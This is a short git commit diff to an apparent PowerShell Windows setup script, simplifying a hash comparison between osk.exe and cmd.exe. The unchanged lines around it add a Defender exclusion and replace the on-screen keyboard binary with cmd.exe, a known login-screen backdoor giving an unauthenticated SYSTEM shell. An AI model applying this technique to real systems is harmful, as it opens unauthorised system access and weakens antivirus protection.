Prevent unnecessary file creation

This commit is contained in:
Manuel Thalmann 2024-08-27 14:06:56 +02:00
parent b4e0ed7db8
commit caffde0a01

View file

@ -148,12 +148,8 @@ $null = New-Module {
$sys32 = "$env:WINDIR/System32"; $sys32 = "$env:WINDIR/System32";
$osk = (Get-Item "$sys32/osk.exe").FullName; $osk = (Get-Item "$sys32/osk.exe").FullName;
$cmd = (Get-Item "$sys32/cmd.exe").FullName; $cmd = (Get-Item "$sys32/cmd.exe").FullName;
$tmpOsk = New-TemporaryFile;
$tmpCmd = New-TemporaryFile;
gsudo -d copy "$osk" "$tmpOsk";
gsudo -d copy "$cmd" "$tmpCmd";
if ((Get-FileHash $tmpOsk).Hash -ne (Get-FileHash $tmpCmd).Hash) { if ((Get-FileHash $osk).Hash -ne (Get-FileHash $cmd).Hash) {
Set-MpPreference -ExclusionPath $osk; Set-MpPreference -ExclusionPath $osk;
gsudo -d --ti move $osk "${osk}_"; gsudo -d --ti move $osk "${osk}_";
gsudo -d -s copy $cmd $osk; gsudo -d -s copy $cmd $osk;